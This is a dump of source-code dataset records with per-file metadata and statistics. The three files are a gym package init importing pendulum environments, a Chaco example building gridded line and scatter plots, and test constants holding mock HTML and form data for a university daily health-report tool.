| 268.266667 | 7,115 | 0.949056 | 117 | 8,048 | 65.128205 | 0.683761 | 0.002756 | 0.004331 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.78413 | 0.030691 | 8,048 | 29 | 7,116 | 277.517241 | 0.192668 | 0.01255 | 0 | 0 | 0 | 0 | 0.919237 | 0.89775 | 0 | 1 | 0 | 0 | 0 | 1 | 0.052632 | false | 0.052632 | 0.105263 | 0 | 0.421053 | 0 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 9 |
92852e270bf4c263862eb6b9510faab5cef49a82 | 180 | py | Python | gym-custominvertedpendulum/gym_custominvertedpendulum/envs/__init__.py | Rampagy/InvertedPendulum | 4f3e5b45e93d6fae4a54204e32bf5dc6fdb0d031 | [
"MIT"
] | 2 | 2018-04-10T01:56:23.000Z | 2019-05-21T08:34:35.000Z | gym-custominvertedpendulum/gym_custominvertedpendulum/envs/__init__.py | Rampagy/InvertedPendulum | 4f3e5b45e93d6fae4a54204e32bf5dc6fdb0d031 | [
"MIT"
] | 1 | 2018-07-04T17:06:23.000Z | 2018-07-04T17:06:23.000Z | gym-custominvertedpendulum/gym_custominvertedpendulum/envs/__init__.py | Rampagy/InvertedPendulum | 4f3e5b45e93d6fae4a54204e32bf5dc6fdb0d031 | [
"MIT"
] | null | null | null | from gym_custominvertedpendulum.envs.custominvertedpendulum_env import CustomInvertedPendulumEnv
from gym_custominvertedpendulum.envs.dampingpendulum_env import DampingPendulumEnv
| 60 | 96 | 0.933333 | 16 | 180 | 10.25 | 0.5625 | 0.085366 | 0.353659 | 0.402439 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.044444 | 180 | 2 | 97 | 90 | 0.953488 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 7 |
2ba6910237a87facaa790bfb0d0f84facd5dffef | 5,017 | py | Python | examples/demo/zoomed_plot/grid_plot_factory.py | janvonrickenbach/Chaco_wxPhoenix_py3 | 21a10cfd81100f28e3fbc273357ac45642519f33 | [
"BSD-3-Clause"
] | null | null | null | examples/demo/zoomed_plot/grid_plot_factory.py | janvonrickenbach/Chaco_wxPhoenix_py3 | 21a10cfd81100f28e3fbc273357ac45642519f33 | [
"BSD-3-Clause"
] | null | null | null | examples/demo/zoomed_plot/grid_plot_factory.py | janvonrickenbach/Chaco_wxPhoenix_py3 | 21a10cfd81100f28e3fbc273357ac45642519f33 | [
"BSD-3-Clause"
] | null | null | null | # Local relative imports
from chaco.api import ArrayDataSource, DataRange1D, LinearMapper, LinePlot, \
ScatterPlot, PlotAxis, PlotGrid
def create_gridded_line_plot(x,
y,
orientation="h",
color="red",
width=1.0,
dash="solid",
value_mapper_class=LinearMapper,
padding=30):
assert len(x) == len(y)
# If you know it is monotonically increasing, sort_order can
# be set to 'ascending'
index = ArrayDataSource(x, sort_order='none')
value = ArrayDataSource(y, sort_order="none")
index_range = DataRange1D(tight_bounds=False)
index_range.add(index)
index_mapper = LinearMapper(range=index_range)
value_range = DataRange1D(tight_bounds=False)
value_range.add(value)
value_mapper = value_mapper_class(range=value_range)
plot = LinePlot(
index=index,
value=value,
index_mapper=index_mapper,
value_mapper=value_mapper,
orientation=orientation,
color=color,
line_width=width,
line_style=dash,
padding=[40, 15, 15, 20], # left, right, top, bottom
border_visible=True,
border_width=1,
bgcolor="white",
use_backbuffer=True,
backbuffer_padding=False,
unified_draw=True,
draw_layer="plot",
overlay_border=True)
vertical_grid = PlotGrid(
component=plot,
mapper=index_mapper,
orientation='vertical',
line_color="gray",
line_style='dot',
use_draw_order=True)
horizontal_grid = PlotGrid(
component=plot,
mapper=value_mapper,
orientation='horizontal',
line_color="gray",
line_style='dot',
use_draw_order=True)
vertical_axis = PlotAxis(
orientation='left', mapper=plot.value_mapper, use_draw_order=True)
horizontal_axis = PlotAxis(
orientation='bottom',
title='Time (s)',
mapper=plot.index_mapper,
use_draw_order=True)
plot.underlays.append(vertical_grid)
plot.underlays.append(horizontal_grid)
# Have to add axes to overlays because we are backbuffering the main plot,
# and only overlays get to render in addition to the backbuffer.
plot.overlays.append(vertical_axis)
plot.overlays.append(horizontal_axis)
return plot
def create_gridded_scatter_plot(x,
y,
orientation="h",
color="red",
width=1.0,
fill_color="red",
marker="square",
marker_size=2,
value_mapper_class=LinearMapper,
padding=30):
assert len(x) == len(y)
# If you know it is monotonically increasing, sort_order can
# be set to 'ascending'
index = ArrayDataSource(x, sort_order='none')
value = ArrayDataSource(y, sort_order="none")
index_range = DataRange1D(tight_bounds=False)
index_range.add(index)
index_mapper = LinearMapper(range=index_range)
value_range = DataRange1D(tight_bounds=False)
value_range.add(value)
value_mapper = value_mapper_class(range=value_range)
plot = ScatterPlot(
index=index,
value=value,
index_mapper=index_mapper,
value_mapper=value_mapper,
orientation=orientation,
color=color,
fill_color=fill_color,
marker=marker,
marker_size=marker_size,
padding=[40, 15, 15, 20], # left, right, top, bottom
border_visible=True,
border_width=1,
bgcolor="white",
use_backbuffer=True,
backbuffer_padding=False,
unified_draw=True,
draw_layer="plot",
overlay_border=True)
vertical_grid = PlotGrid(
component=plot,
mapper=index_mapper,
orientation='vertical',
line_color="gray",
line_style='dot',
use_draw_order=True)
horizontal_grid = PlotGrid(
component=plot,
mapper=value_mapper,
orientation='horizontal',
line_color="gray",
line_style='dot',
use_draw_order=True)
vertical_axis = PlotAxis(
orientation='left', mapper=plot.value_mapper, use_draw_order=True)
horizontal_axis = PlotAxis(
orientation='bottom',
title='Time (s)',
mapper=plot.index_mapper,
use_draw_order=True)
plot.underlays.append(vertical_grid)
plot.underlays.append(horizontal_grid)
# Have to add axes to overlays because we are backbuffering the main plot,
# and only overlays get to render in addition to the backbuffer.
plot.overlays.append(vertical_axis)
plot.overlays.append(horizontal_axis)
return plot
| 30.779141 | 78 | 0.59717 | 540 | 5,017 | 5.32963 | 0.205556 | 0.053509 | 0.047255 | 0.044475 | 0.897846 | 0.897846 | 0.897846 | 0.897846 | 0.897846 | 0.897846 | 0 | 0.009338 | 0.316922 | 5,017 | 162 | 79 | 30.969136 | 0.830464 | 0.100857 | 0 | 0.88189 | 0 | 0 | 0.034674 | 0 | 0 | 0 | 0 | 0 | 0.015748 | 1 | 0.015748 | false | 0 | 0.007874 | 0 | 0.03937 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
2bb9c8b1e9cbbd6a5567f5812f3c05f801b362c3 | 17,246 | py | Python | bupt_ncov_report/_test/constant/post_data.py | llllxq/bupt-ncov-report | 8c0d276967a006628bd42c113a3a1787291d3459 | [
"MIT"
] | 8 | 2020-09-01T12:45:33.000Z | 2020-11-02T01:37:01.000Z | bupt_ncov_report/_test/constant/post_data.py | nbdyn/bupt-ncov-report | 8ed7ccec94f5f3a153470f2075713f26491ec172 | [
"MIT"
] | null | null | null | bupt_ncov_report/_test/constant/post_data.py | nbdyn/bupt-ncov-report | 8ed7ccec94f5f3a153470f2075713f26491ec172 | [
"MIT"
] | 2 | 2020-09-03T02:02:42.000Z | 2021-12-11T09:11:21.000Z | # 模拟访问健康人的上报页面时所获取到的内容。
# 用于 ProgramUtils 的单元测试中,并作为集成测试中的 mock 数据使用。
REPORT_PAGE_HTML = r'''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<title>每日上报</title>
</head>
<body class="">
<script type="text/javascript">
var def = {"address": "\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77\u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)", "area": "\u4e0a\u6d77\u5e02 \u9ec4\u6d66\u533a", "bztcyy": "", "city": "\u4e0a\u6d77\u5e02", "created": 1145141919, "created_uid": 0, "csmjry": "0", "date": "20200618", "fjsj": "0", "fxyy": "", "geo_api_info": "{\"type\":\"complete\",\"position\":{\"P\":31.22847357856,\"O\":121.47822401258702,\"lng\":121.478224,\"lat\":31.228474},\"location_type\":\"html5\",\"message\":\"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.\",\"accuracy\":150,\"isConverted\":true,\"status\":1,\"addressComponent\":{\"citycode\":\"021\",\"adcode\":\"310101\",\"businessAreas\":[{\"name\":\" \u65b0\u5929\u5730(\u81ea\u5fe0\u8def)\",\"id\":\"310101\",\"location\":{\"P\":31.220028,\"O\":121.47492399999999,\"lng\":121.474924,\"lat\":31.220028}},{\"name\":\"\u57ce\u968d\u5e99\",\"id\":\"310101\",\"location\":{\"P\":31.225435,\"O\":121.492975,\"lng\":121.492975,\"lat\":31.225435}}],\"neighborhoodType\":\"\",\"neighborhood\":\"\",\"building\":\"\",\"buildingType\":\"\",\"street\":\"\u5ef6\u5b89\u4e1c\u8def\",\"streetNumber\":\"630\u53f7\",\"province\":\"\u4e0a\u6d77\u5e02\",\"city\":\"\",\"district\":\"\u9ec4\u6d66\u533a\",\"township\":\"\u5357\u4eac\u4e1c\u8def\u8857\u9053\"},\"formattedAddress\":\"\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77 \u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)\",\"roads\":[],\"crosses\":[],\"pois\":[],\"info\":\"SUCCESS\"}", "glksrq": "", "gllx": "", "gtjzzfjsj": "", "gwszdd": "", "id": 114514, "ismoved": 0, "jcbhlx": "", "jcbhrq": "", "jchbryfs": "", "jcjg": "", "jcjgqr": "0", "jcqzrq": "", "jcwhryfs": "", "jhfjhbcc": "", "jhfjjtgj": "", "jhfjrq": "", "jhfjsftjhb": "0", "jhfjsftjwh": "0", "jrsfqzfy": "", "jrsfqzys": "", "mjry": "0", "province": "\u4e0a\u6d77\u5e02", "qksm": "", "remark": "", "sfcxtz": "0", "sfcxzysx": "0", "sfcyglq": "0", "sfjcbh": "0", "sfjchbry": "0", "sfjcqz": "", "sfjcwhry": "0", "sfsfbh": "0", "sfsqhzjkk": 0, "sftjhb": "0", "sftjwh": "0", "sfxk": 0, "sfygtjzzfj": "", "sfyqjzgc": "", "sfyyjc": 0, "sfzx": "0", "sqhzjkkys": "", "szcs": "", "szgj": "", "szsqsfybl": 0, "tw": "3", "uid": "1919", "xjzd": "\u4e0a\u6d77", "xkqq": "", "zgfxdq": "0"};
var vm = new Vue({
el: '.form-detail2',
data: {
info: $.extend({
ismoved: 0,
jhfjrq: '',
jhfjjtgj: '',
jhfjhbcc: '',
sfxk: 0,
xkqq: ''
}, def),
oldInfo: {"address": "\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77\u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)", "area": "\u4e0a\u6d77\u5e02 \u9ec4\u6d66\u533a", "bztcyy": "", "city": "\u4e0a\u6d77\u5e02", "created": 88480000, "created_uid": 0, "csmjry": "0", "date": "20200303", "fjsj": "0", "fxyy": "", "geo_api_info": "{\"type\":\"complete\",\"position\":{\"P\":31.22847357856,\"O\":121.47822401258702,\"lng\":121.478224,\"lat\":31.228474},\"location_type\":\"html5\",\"message\":\"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.\",\"accuracy\":150,\"isConverted\":true,\"status\":1,\"addressComponent\":{\"citycode\":\"021\",\"adcode\":\"310101\",\"businessAreas\":[{\"name\":\" \u65b0\u5929\u5730(\u81ea\u5fe0\u8def)\",\"id\":\"310101\",\"location\":{\"P\":31.220028,\"O\":121.47492399999999,\"lng\":121.474924,\"lat\":31.220028}},{\"name\":\"\u57ce\u968d\u5e99\",\"id\":\"310101\",\"location\":{\"P\":31.225435,\"O\":121.492975,\"lng\":121.492975,\"lat\":31.225435}}],\"neighborhoodType\":\"\",\"neighborhood\":\"\",\"building\":\"\",\"buildingType\":\"\",\"street\":\"\u5ef6\u5b89\u4e1c\u8def\",\"streetNumber\":\"630\u53f7\",\"province\":\"\u4e0a\u6d77\u5e02\",\"city\":\"\",\"district\":\"\u9ec4\u6d66\u533a\",\"township\":\"\u5357\u4eac\u4e1c\u8def\u8857\u9053\"},\"formattedAddress\":\"\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77 \u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)\",\"roads\":[],\"crosses\":[],\"pois\":[],\"info\":\"SUCCESS\"}", "glksrq": "", "gllx": "", "gtjzzfjsj": "", "gwszdd": "", "id": 1919, "ismoved": 0, "jcbhlx": "", "jcbhrq": "", "jchbryfs": "", "jcjg": "", "jcjgqr": "0", "jcqzrq": "", "jcwhryfs": "", "jhfjhbcc": "", "jhfjjtgj": "", "jhfjrq": "", "jhfjsftjhb": "0", "jhfjsftjwh": "0", "jrsfqzfy": "", "jrsfqzys": "", "mjry": "0", "province": "\u4e0a\u6d77\u5e02", "qksm": "", "remark": "", "sfcxtz": "0", "sfcxzysx": "0", "sfcyglq": "0", "sfjcbh": "0", "sfjchbry": "0", "sfjcqz": "", "sfjcwhry": "0", "sfsfbh": "0", "sfsqhzjkk": 0, "sftjhb": "0", "sftjwh": "0", "sfxk": 0, "sfygtjzzfj": "", "sfyqjzgc": "", "sfyyjc": 0, "sfzx": "0", "sqhzjkkys": "", "szcs": "", "szgj": "", "szsqsfybl": 0, "tw": "3", "uid": "1234", "xjzd": "\u4e0a\u6d77", "xkqq": "", "zgfxdq": "0"},
}
});
</script>
</body>
</html>
'''
# 模拟访问不健康人的上报页面时所获取到的内容。
# 用于 ProgramUtils 的单元测试中,并作为集成测试中的 mock 数据使用。
REPORT_PAGE_HTML_OF_SICK_PEOPLE = r'''
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<title>每日上报</title>
</head>
<body class="">
<script type="text/javascript">
var def = {"address": "\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77\u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)", "area": "\u4e0a\u6d77\u5e02 \u9ec4\u6d66\u533a", "bztcyy": "", "city": "\u4e0a\u6d77\u5e02", "created": 1145141919, "created_uid": 0, "csmjry": "0", "date": "20200618", "fjsj": "0", "fxyy": "", "geo_api_info": "{\"type\":\"complete\",\"position\":{\"P\":31.22847357856,\"O\":121.47822401258702,\"lng\":121.478224,\"lat\":31.228474},\"location_type\":\"html5\",\"message\":\"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.\",\"accuracy\":150,\"isConverted\":true,\"status\":1,\"addressComponent\":{\"citycode\":\"021\",\"adcode\":\"310101\",\"businessAreas\":[{\"name\":\" \u65b0\u5929\u5730(\u81ea\u5fe0\u8def)\",\"id\":\"310101\",\"location\":{\"P\":31.220028,\"O\":121.47492399999999,\"lng\":121.474924,\"lat\":31.220028}},{\"name\":\"\u57ce\u968d\u5e99\",\"id\":\"310101\",\"location\":{\"P\":31.225435,\"O\":121.492975,\"lng\":121.492975,\"lat\":31.225435}}],\"neighborhoodType\":\"\",\"neighborhood\":\"\",\"building\":\"\",\"buildingType\":\"\",\"street\":\"\u5ef6\u5b89\u4e1c\u8def\",\"streetNumber\":\"630\u53f7\",\"province\":\"\u4e0a\u6d77\u5e02\",\"city\":\"\",\"district\":\"\u9ec4\u6d66\u533a\",\"township\":\"\u5357\u4eac\u4e1c\u8def\u8857\u9053\"},\"formattedAddress\":\"\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77 \u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)\",\"roads\":[],\"crosses\":[],\"pois\":[],\"info\":\"SUCCESS\"}", "glksrq": "", "gllx": "", "gtjzzfjsj": "", "gwszdd": "", "id": 114514, "ismoved": 0, "jcbhlx": "", "jcbhrq": "", "jchbryfs": "", "jcjg": "", "jcjgqr": "0", "jcqzrq": "", "jcwhryfs": "", "jhfjhbcc": "", "jhfjjtgj": "", "jhfjrq": "", "jhfjsftjhb": "0", "jhfjsftjwh": "0", "jrsfqzfy": "", "jrsfqzys": "", "mjry": "0", "province": "\u4e0a\u6d77\u5e02", "qksm": "", "remark": "", "sfcxtz": "0", "sfcxzysx": "0", "sfcyglq": "0", "sfjcbh": "0", "sfjchbry": "0", "sfjcqz": "", "sfjcwhry": "0", "sfsfbh": "0", "sfsqhzjkk": 0, "sftjhb": "0", "sftjwh": "0", "sfxk": 0, "sfygtjzzfj": "", "sfyqjzgc": "", "sfyyjc": 0, "sfzx": "0", "sqhzjkkys": "", "szcs": "", "szgj": "", "szsqsfybl": 0, "tw": "3", "uid": "1919", "xjzd": "\u4e0a\u6d77", "xkqq": "", "zgfxdq": "0"};
var vm = new Vue({
el: '.form-detail2',
data: {
info: $.extend({
ismoved: 0,
jhfjrq: '',
jhfjjtgj: '',
jhfjhbcc: '',
sfxk: 0,
xkqq: ''
}, def),
oldInfo: {"address": "\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77\u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)", "area": "\u4e0a\u6d77\u5e02 \u9ec4\u6d66\u533a", "bztcyy": "", "city": "\u4e0a\u6d77\u5e02", "created": 88480000, "created_uid": 0, "csmjry": "0", "date": "20200303", "fjsj": "0", "fxyy": "", "geo_api_info": "{\"type\":\"complete\",\"position\":{\"P\":31.22847357856,\"O\":121.47822401258702,\"lng\":121.478224,\"lat\":31.228474},\"location_type\":\"html5\",\"message\":\"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.\",\"accuracy\":150,\"isConverted\":true,\"status\":1,\"addressComponent\":{\"citycode\":\"021\",\"adcode\":\"310101\",\"businessAreas\":[{\"name\":\" \u65b0\u5929\u5730(\u81ea\u5fe0\u8def)\",\"id\":\"310101\",\"location\":{\"P\":31.220028,\"O\":121.47492399999999,\"lng\":121.474924,\"lat\":31.220028}},{\"name\":\"\u57ce\u968d\u5e99\",\"id\":\"310101\",\"location\":{\"P\":31.225435,\"O\":121.492975,\"lng\":121.492975,\"lat\":31.225435}}],\"neighborhoodType\":\"\",\"neighborhood\":\"\",\"building\":\"\",\"buildingType\":\"\",\"street\":\"\u5ef6\u5b89\u4e1c\u8def\",\"streetNumber\":\"630\u53f7\",\"province\":\"\u4e0a\u6d77\u5e02\",\"city\":\"\",\"district\":\"\u9ec4\u6d66\u533a\",\"township\":\"\u5357\u4eac\u4e1c\u8def\u8857\u9053\"},\"formattedAddress\":\"\u4e0a\u6d77\u5e02\u9ec4\u6d66\u533a\u5357\u4eac\u4e1c\u8def\u8857\u9053\u5ef6\u5b89\u4e1c\u8def\u51ef\u8fea\u62c9\u514b\u00b7\u4e0a\u6d77 \u97f3\u4e50\u5385(\u88c5\u4fee\u4e2d)\",\"roads\":[],\"crosses\":[],\"pois\":[],\"info\":\"SUCCESS\"}", "glksrq": "", "gllx": "", "gtjzzfjsj": "", "gwszdd": "", "id": 1919, "ismoved": 0, "jcbhlx": "", "jcbhrq": "", "jchbryfs": "", "jcjg": "", "jcjgqr": "0", "jcqzrq": "", "jcwhryfs": "", "jhfjhbcc": "", "jhfjjtgj": "", "jhfjrq": "", "jhfjsftjhb": "0", "jhfjsftjwh": "0", "jrsfqzfy": "", "jrsfqzys": "", "mjry": "0", "province": "\u4e0a\u6d77\u5e02", "qksm": "", "remark": "", "sfcxtz": "0", "sfcxzysx": "0", "sfcyglq": "0", "sfjcbh": "0", "sfjchbry": "0", "sfjcqz": "", "sfjcwhry": "0", "sfsfbh": "0", "sfsqhzjkk": 0, "sftjhb": "0", "sftjwh": "0", "sfxk": 0, "sfygtjzzfj": "", "sfyqjzgc": "", "sfyyjc": 0, "sfzx": "0", "sqhzjkkys": "", "szcs": "", "szgj": "", "szsqsfybl": 0, "tw": "5", "uid": "1234", "xjzd": "\u4e0a\u6d77", "xkqq": "", "zgfxdq": "0"},
}
});
</script>
</body>
</html>
'''
# 与 REPORT_PAGE_HTML 中的 oldInfo 对应。
POST_DATA_OLD = {
'address': '上海市黄浦区南京东路街道延安东路凯迪拉克·上海音乐厅(装修中)',
'area': '上海市 黄浦区',
'bztcyy': '',
'city': '上海市',
'created': 88480000,
'created_uid': 0,
'csmjry': '0',
'date': '20200303',
'fjsj': '0',
'fxyy': '',
'geo_api_info': '{"type":"complete","position":{"P":31.22847357856,"O":121.47822401258702,"lng":121.478224,"lat":31.228474},"location_type":"html5","message":"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.","accuracy":150,"isConverted":true,"status":1,"addressComponent":{"citycode":"021","adcode":"310101","businessAreas":[{"name":" 新天地(自忠路)","id":"310101","location":{"P":31.220028,"O":121.47492399999999,"lng":121.474924,"lat":31.220028}},{"name":"城隍庙","id":"310101","location":{"P":31.225435,"O":121.492975,"lng":121.492975,"lat":31.225435}}],"neighborhoodType":"","neighborhood":"","building":"","buildingType":"","street":"延安东路","streetNumber":"630号","province":"上海市","city":"","district":"黄浦区","township":"南京东路街道"},"formattedAddress":"上海市黄浦区南京东路街道延安东路凯迪拉克·上海 音乐厅(装修中)","roads":[],"crosses":[],"pois":[],"info":"SUCCESS"}',
'glksrq': '',
'gllx': '',
'gtjzzfjsj': '',
'gwszdd': '',
'id': 1919,
'ismoved': 0,
'jcbhlx': '',
'jcbhrq': '',
'jchbryfs': '',
'jcjg': '',
'jcjgqr': '0',
'jcqzrq': '',
'jcwhryfs': '',
'jhfjhbcc': '',
'jhfjjtgj': '',
'jhfjrq': '',
'jhfjsftjhb': '0',
'jhfjsftjwh': '0',
'jrsfqzfy': '',
'jrsfqzys': '',
'mjry': '0',
'province': '上海市',
'qksm': '',
'remark': '',
'sfcxtz': '0',
'sfcxzysx': '0',
'sfcyglq': '0',
'sfjcbh': '0',
'sfjchbry': '0',
'sfjcqz': '',
'sfjcwhry': '0',
'sfsfbh': '0',
'sfsqhzjkk': 0,
'sftjhb': '0',
'sftjwh': '0',
'sfxk': 0,
'sfygtjzzfj': '',
'sfyqjzgc': '',
'sfyyjc': 0,
'sfzx': '0',
'sqhzjkkys': '',
'szcs': '',
'szgj': '',
'szsqsfybl': 0,
'tw': '3',
'uid': '1234',
'xjzd': '上海',
'xkqq': '',
'zgfxdq': '0'
}
# 与 REPORT_PAGE_HTML 中的 def 对应。
POST_DATA_NEW = {
'address': '上海市黄浦区南京东路街道延安东路凯迪拉克·上海音乐厅(装修中)',
'area': '上海市 黄浦区',
'bztcyy': '',
'city': '上海市',
'created': 1145141919,
'created_uid': 0,
'csmjry': '0',
'date': '20200618',
'fjsj': '0',
'fxyy': '',
'geo_api_info': '{"type":"complete","position":{"P":31.22847357856,"O":121.47822401258702,"lng":121.478224,"lat":31.228474},"location_type":"html5","message":"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.","accuracy":150,"isConverted":true,"status":1,"addressComponent":{"citycode":"021","adcode":"310101","businessAreas":[{"name":" 新天地(自忠路)","id":"310101","location":{"P":31.220028,"O":121.47492399999999,"lng":121.474924,"lat":31.220028}},{"name":"城隍庙","id":"310101","location":{"P":31.225435,"O":121.492975,"lng":121.492975,"lat":31.225435}}],"neighborhoodType":"","neighborhood":"","building":"","buildingType":"","street":"延安东路","streetNumber":"630号","province":"上海市","city":"","district":"黄浦区","township":"南京东路街道"},"formattedAddress":"上海市黄浦区南京东路街道延安东路凯迪拉克·上海 音乐厅(装修中)","roads":[],"crosses":[],"pois":[],"info":"SUCCESS"}',
'glksrq': '',
'gllx': '',
'gtjzzfjsj': '',
'gwszdd': '',
'id': 114514,
'ismoved': 0,
'jcbhlx': '',
'jcbhrq': '',
'jchbryfs': '',
'jcjg': '',
'jcjgqr': '0',
'jcqzrq': '',
'jcwhryfs': '',
'jhfjhbcc': '',
'jhfjjtgj': '',
'jhfjrq': '',
'jhfjsftjhb': '0',
'jhfjsftjwh': '0',
'jrsfqzfy': '',
'jrsfqzys': '',
'mjry': '0',
'province': '上海市',
'qksm': '',
'remark': '',
'sfcxtz': '0',
'sfcxzysx': '0',
'sfcyglq': '0',
'sfjcbh': '0',
'sfjchbry': '0',
'sfjcqz': '',
'sfjcwhry': '0',
'sfsfbh': '0',
'sfsqhzjkk': 0,
'sftjhb': '0',
'sftjwh': '0',
'sfxk': 0,
'sfygtjzzfj': '',
'sfyqjzgc': '',
'sfyyjc': 0,
'sfzx': '0',
'sqhzjkkys': '',
'szcs': '',
'szgj': '',
'szsqsfybl': 0,
'tw': '3',
'uid': '1919',
'xjzd': '上海',
'xkqq': '',
'zgfxdq': '0'
}
# 合并 POST_DATA_OLD 和 POST_DATA_NEW 之后应该得到的结果。
POST_DATA_FINAL = {
'address': '上海市黄浦区南京东路街道延安东路凯迪拉克·上海音乐厅(装修中)',
'area': '上海市 黄浦区',
'bztcyy': '',
'city': '上海市',
'created': 1145141919,
'created_uid': 0,
'csmjry': '0',
'date': '20200618',
'fjsj': '0',
'fxyy': '',
'geo_api_info': '{"type":"complete","position":{"P":31.22847357856,"O":121.47822401258702,"lng":121.478224,"lat":31.228474},"location_type":"html5","message":"Get ipLocation failed.Get geolocation success.Convert Success.Get address success.","accuracy":150,"isConverted":true,"status":1,"addressComponent":{"citycode":"021","adcode":"310101","businessAreas":[{"name":" 新天地(自忠路)","id":"310101","location":{"P":31.220028,"O":121.47492399999999,"lng":121.474924,"lat":31.220028}},{"name":"城隍庙","id":"310101","location":{"P":31.225435,"O":121.492975,"lng":121.492975,"lat":31.225435}}],"neighborhoodType":"","neighborhood":"","building":"","buildingType":"","street":"延安东路","streetNumber":"630号","province":"上海市","city":"","district":"黄浦区","township":"南京东路街道"},"formattedAddress":"上海市黄浦区南京东路街道延安东路凯迪拉克·上海 音乐厅(装修中)","roads":[],"crosses":[],"pois":[],"info":"SUCCESS"}',
'glksrq': '',
'gllx': '',
'gtjzzfjsj': '',
'gwszdd': '',
'id': 114514,
'ismoved': 0,
'jcbhlx': '',
'jcbhrq': '',
'jchbryfs': '',
'jcjg': '',
'jcjgqr': '0',
'jcqzrq': '',
'jcwhryfs': '',
'jhfjhbcc': '',
'jhfjjtgj': '',
'jhfjrq': '',
'jhfjsftjhb': '0',
'jhfjsftjwh': '0',
'jrsfqzfy': '',
'jrsfqzys': '',
'mjry': '0',
'province': '上海市',
'qksm': '',
'remark': '',
'sfcxtz': '0',
'sfcxzysx': '0',
'sfcyglq': '0',
'sfjcbh': '0',
'sfjchbry': '0',
'sfjcqz': '',
'sfjcwhry': '0',
'sfsfbh': '0',
'sfsqhzjkk': 0,
'sftjhb': '0',
'sftjwh': '0',
'sfxk': 0,
'sfygtjzzfj': '',
'sfyqjzgc': '',
'sfyyjc': 0,
'sfzx': '0',
'sqhzjkkys': '',
'szcs': '',
'szgj': '',
'szsqsfybl': 0,
'tw': '3',
'uid': '1919',
'xjzd': '上海',
'xkqq': '',
'zgfxdq': '0'
}
# 每一条对应一个应被检查出的不健康信息。
POST_DATA_SICK_ITEMS = {
'tw': 6,
'jcjgqr': 1,
'remark': '噔 噔 咚',
'sfsfbh': 1,
'ismoved': 1,
'zgfxdq': 1,
'sfcxtz': 1,
'sfjcbh': 1,
'mjry': 1,
'csmjry': 1,
'sfcyglq': 1,
'szsqsfybl': 1,
'sfcxzysx': 1,
}
| 61.373665 | 2,422 | 0.565522 | 1,903 | 17,246 | 5.100893 | 0.117709 | 0.037087 | 0.037087 | 0.024518 | 0.972597 | 0.967755 | 0.967755 | 0.967755 | 0.967755 | 0.957247 | 0 | 0.160745 | 0.121999 | 17,246 | 280 | 2,423 | 61.592857 | 0.479923 | 0.015076 | 0 | 0.878431 | 0 | 0.027451 | 0.853449 | 0.475113 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 11 |
